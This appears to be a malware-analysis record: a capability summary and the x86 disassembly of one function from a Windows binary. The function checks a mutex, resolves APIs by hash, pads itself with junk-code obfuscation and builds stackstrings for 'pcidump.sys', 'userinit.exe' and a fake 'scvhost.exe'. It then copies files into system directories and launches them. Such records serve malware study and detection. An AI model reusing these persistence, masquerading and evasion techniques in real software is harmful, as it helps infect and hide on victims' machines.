Function at 0x4045b2
Capabilities:
Check mutex and terminate process on windows
Check mutex on windows
Contain obfuscated stackstrings
Copy file
Create process on windows
Create thread
Get common file path
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xeb4
push ebx
push esi
push edi
call fcn.004040af
test eax, eax
je 0x4045cf
push 0
call dword [sym.imp.KERNEL32.DLL_ExitProcess]
nop
pushal
jmp 0x4045d9
imul eax, esi, 0x12b
xadd ecx, eax
sub eax, esi
xchg ecx, edx
add ecx, esi
sbb eax, 0x43211a2f
mov bl, cl
nop
imul eax, ecx, 0xff5e3306
add al, 0xc6
mov eax, ebx
mov ebx, 0x41
cmp ebx, 0
je 0x4045e2
popal
call dword [sym.imp.USER32.DLL_GetInputState]
call dword [sym.imp.KERNEL32.DLL_GetCurrentThreadId]
mov dword [ebp - 4], eax
push 0
push 0
push 0
push dword [ebp - 4]
call dword [sym.imp.USER32.DLL_PostThreadMessageA]
push 0
push 0
push 0
lea eax, [ebp - 0x95c]
push eax
call dword [sym.imp.USER32.DLL_GetMessageA]
nop
pushal
jmp 0x404644
imul eax, esi, 0x12b
xadd ecx, eax
sub eax, esi
xchg ecx, edx
add ecx, esi
sbb eax, 0x43211a2f
mov bl, cl
nop
imul eax, ecx, 0xff5e3306
add al, 0xc6
mov eax, ebx
mov ebx, 0x41
cmp ebx, 0
je 0x40464d
popal
push 0x401e30
push 0
push 0
call dword [sym.imp.KERNEL32.DLL_CreateMutexA]
mov dword [ebp - 0x940], eax
call dword [sym.imp.KERNEL32.DLL_GetLastError]
cmp eax, 0xb7
jne 0x40469e
push 0
call dword [sym.imp.KERNEL32.DLL_ExitProcess]
push 0xff
push 0
lea eax, [ebp - 0x620]
push eax
call fcn.00405050
add esp, 0xc
push 0xff
push 0
lea eax, [ebp - 0x308]
push eax
call fcn.00405050
add esp, 0xc
push 0xff
lea eax, [ebp - 0x308]
push eax
call dword [sym.imp.KERNEL32.DLL_GetWindowsDirectoryA]
push 0x401e20
lea eax, [ebp - 0x308]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
push 0xff
push 0
lea eax, [ebp - 0xa5c]
push eax
call fcn.00405050
add esp, 0xc
push 0xff
push 0
lea eax, [ebp - 0x408]
push eax
call fcn.00405050
add esp, 0xc
push 0xff
lea eax, [ebp - 0x408]
push eax
call dword [sym.imp.KERNEL32.DLL_GetWindowsDirectoryA]
push 0x401e0c
lea eax, [ebp - 0x408]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
push 0xff
lea eax, [ebp - 0xa5c]
push eax
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryA]
push 0x401cb4
lea eax, [ebp - 0xa5c]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
push 0x774393e8
push 1
call fcn.004021a0
mov dword [ebp - 0xe70], eax
push 0xff
lea eax, [ebp - 0x620]
push eax
push 0
call dword [ebp - 0xe70]
lea eax, [ebp - 0x308]
push eax
lea eax, [ebp - 0x620]
push eax
call fcn.00405d90
pop ecx
pop ecx
test eax, eax
jne 0x4047cd
mov byte [0x401bf4], 1
push 0
lea eax, [ebp - 0x408]
push eax
lea eax, [ebp - 0xa5c]
push eax
call dword [sym.imp.KERNEL32.DLL_CopyFileA]
push 5
lea eax, [ebp - 0x408]
push eax
call dword [sym.imp.KERNEL32.DLL_WinExec]
call fcn.00402d46
nop
pushal
jmp 0x4047dc
imul eax, esi, 0x12b
xadd ecx, eax
sub eax, esi
xchg ecx, edx
add ecx, esi
sbb eax, 0x43211a2f
mov bl, cl
nop
imul eax, ecx, 0xff5e3306
add al, 0xc6
mov eax, ebx
mov ebx, 0x41
cmp ebx, 0
je 0x4047e5
popal
call fcn.00403d13
nop
pushal
jmp 0x40481b
imul eax, esi, 0x12b
xadd ecx, eax
sub eax, esi
xchg ecx, edx
add ecx, esi
sbb eax, 0x43211a2f
mov bl, cl
nop
imul eax, ecx, 0xff5e3306
add al, 0xc6
mov eax, ebx
mov ebx, 0x41
cmp ebx, 0
je 0x404824
popal
push 0x3d9972f5
push 1
call fcn.004021a0
mov dword [ebp - 0xe74], eax
push 0x1388
call dword [ebp - 0xe74]
call fcn.004041f7
push 0
push 0
push 0
push 0x4027ba
push 0
push 0
call dword [sym.imp.KERNEL32.DLL_CreateThread]
push 0x3d9972f5
push 1
call fcn.004021a0
mov dword [ebp - 0xe78], eax
push 0x1f4
call dword [ebp - 0xe78]
push 0xe8bf6dad
push 1
call fcn.004021a0
mov dword [ebp - 0xe7c], eax
push 0
push 0x401df4
call dword [ebp - 0xe7c]
push 0x3d9972f5
push 1
call fcn.004021a0
mov dword [ebp - 0xe80], eax
push 0x3e8
call dword [ebp - 0xe80]
push 0xe8bf6dad
push 1
call fcn.004021a0
mov dword [ebp - 0xe84], eax
push 0
push 0x401dd4
call dword [ebp - 0xe84]
push 0x3d9972f5
push 1
call fcn.004021a0
mov dword [ebp - 0xe88], eax
push 0x3e8
call dword [ebp - 0xe88]
push 0xe8bf6dad
push 1
call fcn.004021a0
mov dword [ebp - 0xe8c], eax
push 0
push 0x401da4
call dword [ebp - 0xe8c]
push 0x3d9972f5
push 1
call fcn.004021a0
mov dword [ebp - 0xe90], eax
push 0x3e8
call dword [ebp - 0xe90]
push 0x104
push 0
lea eax, [ebp - 0x208]
push eax
call fcn.00405050
add esp, 0xc
push 0x104
push 0
push 0x4017f4
call fcn.00405050
add esp, 0xc
push 0xff
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.KERNEL32.DLL_GetWindowsDirectoryA]
call fcn.00404f48
mov dword [ebp - 0xe9c], eax
push 0xea3af0d7
push 2
call fcn.004021a0
mov dword [ebp - 0xe98], eax
push dword [ebp - 0xe9c]
push 0x4017f4
push 0x401d94
push 0x4017f4
call dword [ebp - 0xe98]
push 0x401d5c
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
push 0x4017f4
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
push 0x401d54
push 0x65
lea eax, [ebp - 0x208]
push eax
call fcn.004031ae
push 0xe8bf6dad
push 1
call fcn.004021a0
mov dword [ebp - 0xea0], eax
push 0
lea eax, [ebp - 0x208]
push eax
call dword [ebp - 0xea0]
push 0x3d9972f5
push 1
call fcn.004021a0
mov dword [ebp - 0xea4], eax
push 0x1f4
call dword [ebp - 0xea4]
pushal
je 0x404a47
jne 0x404a47
call 0xe8223412
call 0xe9a0daac
add eax, dword [eax]
add byte [eax], al
out dx, eax
nop
nop
popal
nop
pushal
jmp 0x404a52
imul eax, esi, 0x12b
xadd ecx, eax
sub eax, esi
xchg ecx, edx
add ecx, esi
sbb eax, 0x43211a2f
mov bl, cl
nop
imul eax, ecx, 0xff5e3306
add al, 0xc6
mov eax, ebx
mov ebx, 0x41
cmp ebx, 0
je 0x404a5b
popal
mov byte [ebp - 0x520], 0x5c
mov byte [ebp - 0x51f], 0x64
mov byte [ebp - 0x51e], 0x72
mov byte [ebp - 0x51d], 0x69
mov byte [ebp - 0x51c], 0x76
mov byte [ebp - 0x51b], 0x65
mov byte [ebp - 0x51a], 0x72
mov byte [ebp - 0x519], 0x73
mov byte [ebp - 0x518], 0x5c
mov byte [ebp - 0x517], 0x70
mov byte [ebp - 0x516], 0x63
mov byte [ebp - 0x515], 0x69
mov byte [ebp - 0x514], 0x64
mov byte [ebp - 0x513], 0x75
mov byte [ebp - 0x512], 0x6d
mov byte [ebp - 0x511], 0x70
mov byte [ebp - 0x510], 0x2e
mov byte [ebp - 0x50f], 0x73
mov byte [ebp - 0x50e], 0x79
mov byte [ebp - 0x50d], 0x73
and byte [ebp - 0x50c], 0
mov byte [ebp - 0x83c], 0x5c
mov byte [ebp - 0x83b], 0x75
mov byte [ebp - 0x83a], 0x73
mov byte [ebp - 0x839], 0x65
mov byte [ebp - 0x838], 0x72
mov byte [ebp - 0x837], 0x69
mov byte [ebp - 0x836], 0x6e
mov byte [ebp - 0x835], 0x69
mov byte [ebp - 0x834], 0x74
mov byte [ebp - 0x833], 0x2e
mov byte [ebp - 0x832], 0x65
mov byte [ebp - 0x831], 0x78
mov byte [ebp - 0x830], 0x65
and byte [ebp - 0x82f], 0
push 0xff
push 0
lea eax, [ebp - 0x620]
push eax
call fcn.00405050
add esp, 0xc
push 0xff
push 0
lea eax, [ebp - 0x508]
push eax
call fcn.00405050
add esp, 0xc
push 0xff
push 0
lea eax, [ebp - 0x820]
push eax
call fcn.00405050
add esp, 0xc
push 0xff
push 0
lea eax, [ebp - 0x93c]
push eax
call fcn.00405050
add esp, 0xc
push 0x774393e8
push 1
call fcn.004021a0
mov dword [ebp - 0xea8], eax
push 0xff
lea eax, [ebp - 0x620]
push eax
push 0
call dword [ebp - 0xea8]
push 0xff
lea eax, [ebp - 0x93c]
push eax
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryA]
lea eax, [ebp - 0x520]
push eax
lea eax, [ebp - 0x93c]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
push 0x401d54
push 0x7d
lea eax, [ebp - 0x93c]
push eax
call fcn.004031ae
lea eax, [ebp - 0x93c]
push eax
call fcn.004032e3
pop ecx
push 0xff
lea eax, [ebp - 0x720]
push eax
call dword [sym.imp.KERNEL32.DLL_GetWindowsDirectoryA]
push 0x401cc4
lea eax, [ebp - 0x508]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
lea eax, [ebp - 0x720]
push eax
lea eax, [ebp - 0x508]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
push 0x401e20
lea eax, [ebp - 0x508]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
push 0x401cc4
lea eax, [ebp - 0x820]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
lea eax, [ebp - 0x620]
push eax
lea eax, [ebp - 0x820]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
lea eax, [ebp - 0x820]
push eax
lea eax, [ebp - 0x508]
push eax
call fcn.00403614
pop ecx
pop ecx
lea eax, [ebp - 0x93c]
push eax
call fcn.00403545
pop ecx
nop
pushal
jmp 0x404cd7
imul eax, esi, 0x12b
xadd ecx, eax
sub eax, esi
xchg ecx, edx
add ecx, esi
sbb eax, 0x43211a2f
mov bl, cl
nop
imul eax, ecx, 0xff5e3306
add al, 0xc6
mov eax, ebx
mov ebx, 0x41
cmp ebx, 0
je 0x404ce0
popal
push 0x3d9972f5
push 1
call fcn.004021a0
mov dword [ebp - 0xeac], eax
push 0x1f4
call dword [ebp - 0xeac]
mov byte [ebp - 0x82c], 0x73
mov byte [ebp - 0x82b], 0x63
mov byte [ebp - 0x82a], 0x76
mov byte [ebp - 0x829], 0x68
mov byte [ebp - 0x828], 0x6f
mov byte [ebp - 0x827], 0x73
mov byte [ebp - 0x826], 0x74
mov byte [ebp - 0x825], 0x2e
mov byte [ebp - 0x824], 0x65
mov byte [ebp - 0x823], 0x78
mov byte [ebp - 0x822], 0x65
and byte [ebp - 0x821], 0
push 0xff
push 0
lea eax, [ebp - 0x620]
push eax
call fcn.00405050
add esp, 0xc
push 0xff
push 0
lea eax, [ebp - 0x104]
push eax
call fcn.00405050
add esp, 0xc
push 0x774393e8
push 1
call fcn.004021a0
mov dword [ebp - 0xeb0], eax
push 0xff
lea eax, [ebp - 0x620]
push eax
push 0
call dword [ebp - 0xeb0]
nop
pushal
jmp 0x404dd4
imul eax, esi, 0x12b
xadd ecx, eax
sub eax, esi
xchg ecx, edx
add ecx, esi
sbb eax, 0x43211a2f
mov bl, cl
nop
imul eax, ecx, 0xff5e3306
add al, 0xc6
mov eax, ebx
mov ebx, 0x41
cmp ebx, 0
je 0x404ddd
popal
push 0xff
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.KERNEL32.DLL_GetWindowsDirectoryA]
push 0x401d88
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
nop
pushal
jmp 0x404e32
imul eax, esi, 0x12b
xadd ecx, eax
sub eax, esi
xchg ecx, edx
add ecx, esi
sbb eax, 0x43211a2f
mov bl, cl
nop
imul eax, ecx, 0xff5e3306
add al, 0xc6
mov eax, ebx
mov ebx, 0x41
cmp ebx, 0
je 0x404e3b
popal
lea eax, [ebp - 0x82c]
push eax
lea eax, [ebp - 0x104]
push eax
call fcn.00404f70
pop ecx
pop ecx
nop
pushal
jmp 0x404e81
imul eax, esi, 0x12b
xadd ecx, eax
sub eax, esi
xchg ecx, edx
add ecx, esi
sbb eax, 0x43211a2f
mov bl, cl
nop
imul eax, ecx, 0xff5e3306
add al, 0xc6
mov eax, ebx
mov ebx, 0x41
cmp ebx, 0
je 0x404e8a
popal
nop
lea eax, [ebp - 0x104]
push eax
lea eax, [ebp - 0x620]
push eax
call fcn.00405d90
pop ecx
pop ecx
test eax, eax
je 0x404f3f
nop
push 0x2ee4f10d
push 1
call fcn.004021a0
mov dword [ebp - 0xeb4], eax
push 0
lea eax, [ebp - 0x104]
push eax
lea eax, [ebp - 0x620]
push eax
call dword [ebp - 0xeb4]
lea eax, [ebp - 0xc64]
push eax
lea eax, [ebp - 0xb60]
push eax
lea eax, [ebp - 0xd68]
push eax
lea eax, [ebp - 0xe6c]
push eax
lea eax, [ebp - 0x620]
push eax
call fcn.004050a8
add esp, 0x14
nop
lea eax, [ebp - 0xb60]
cmp eax, 0x401d7c
je 0x404f3f
lea eax, [ebp - 0xb60]
cmp eax, 0x401d6c
je 0x404f3f
call fcn.00403a35
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret 0x10